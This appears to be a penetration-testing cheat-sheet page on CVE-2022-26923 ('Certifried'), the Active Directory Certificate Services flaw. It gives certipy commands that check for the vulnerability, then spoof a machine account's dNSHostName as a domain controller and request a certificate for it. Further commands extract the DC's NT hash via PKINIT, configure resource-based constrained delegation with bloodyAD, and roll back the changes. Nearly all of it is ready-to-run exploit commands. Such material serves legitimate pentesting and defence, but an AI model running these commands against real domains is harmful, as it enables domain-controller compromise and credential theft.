dNSHostName Spoofing (Certifried)
CVE-2022-26923
Check
If there's an object SID printed when requesting a certificate based on the User or Machine templates, the AD environment is not vulnerable:
$ certipy req -u [email protected] -p 'Passw0rd!' -target CA01.megacorp.local -ca CorpCA -template User -dc-ip 192.168.1.11
Certipy v3.0.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate
[*] Successfully requested certificate
[*] Request ID is 120
[*] Got certificate with UPN '[email protected]'
[*] Certificate object SID is 'S-1-5-21-1230029644-1443616230-1161330039-2139' <== NOT vulnerable
[*] Saved certificate and private key to 'snovvcrash.pfx'
Exploit
Create a new machine account with dNSHostName
containing FQDN of a DC:
$ certipy account create -u [email protected] -p 'Passw0rd!' -target DC01.megacorp.local -user FAKEMACHINE -dns DC01.megacorp.local
Or change dNSHostName
property manually for an already pwned machine account, e.g. via pre2k (will definitely break stuff!):
$ certipy account update -u [email protected] -p 'Passw0rd!' -target DC01.megacorp.local -user PWNEDMACHINE -spns ''
$ certipy account update -u [email protected] -p 'Passw0rd!' -target DC01.megacorp.local -user PWNEDMACHINE -dns DC01.megacorp.local
Request a certificate on behalf of that machine account with spoofed dNSHostName
:
$ certipy req -u '[email protected]' -p 'M4chinePassw0rd!' -target CA01.megacorp.local -ca CorpCA -template Machine -dc-ip 192.168.1.11
Abuse PKINIT
Authenticate with the obtained certificate and get DC's NT hash via PKINIT:
$ certipy auth -pfx dc01.pfx -dc-ip 192.168.1.11
Abuse RBCD
Authenticate with obtained certificate and configure RBCD on a DC via bloodyAD to allow delegation to the fake machine account:
$ openssl pkcs12 -in dc01.pfx -out dc01.pem -nodes
$ python bloodyAD.py -d megacorp.local -c ":dc01.pem" --host 192.168.1.11 setRbcd 'FAKEMACHINE$' 'DC01$'
Clean Up
If dNSHostName
was modified for an existing machine account, roll back the changes:
$ certipy account update -u [email protected] -p 'Passw0rd!' -target DC01.megacorp.local -user PWNEDMACHINE -dns PWNEDMACHINE.megacorp.local
$ certipy account update -u [email protected] -p 'Passw0rd!' -target DC01.megacorp.local -user PWNEDMACHINE -spns WSMAN/pwnedmachine.MEGACORP.LOCAL,WSMAN/pwnedmachine,TERMSRV/pwnedmachine.MEGACORP.LOCAL,TERMSRV/pwnedmachine,RestrictedKrbHost/pwnedmachine,HOST/pwnedmachine,RestrictedKrbHost/pwnedmachine.MEGACORP.LOCAL,HOST/pwnedmachine.MEGACORP.LOCAL
About the Fix
Last updated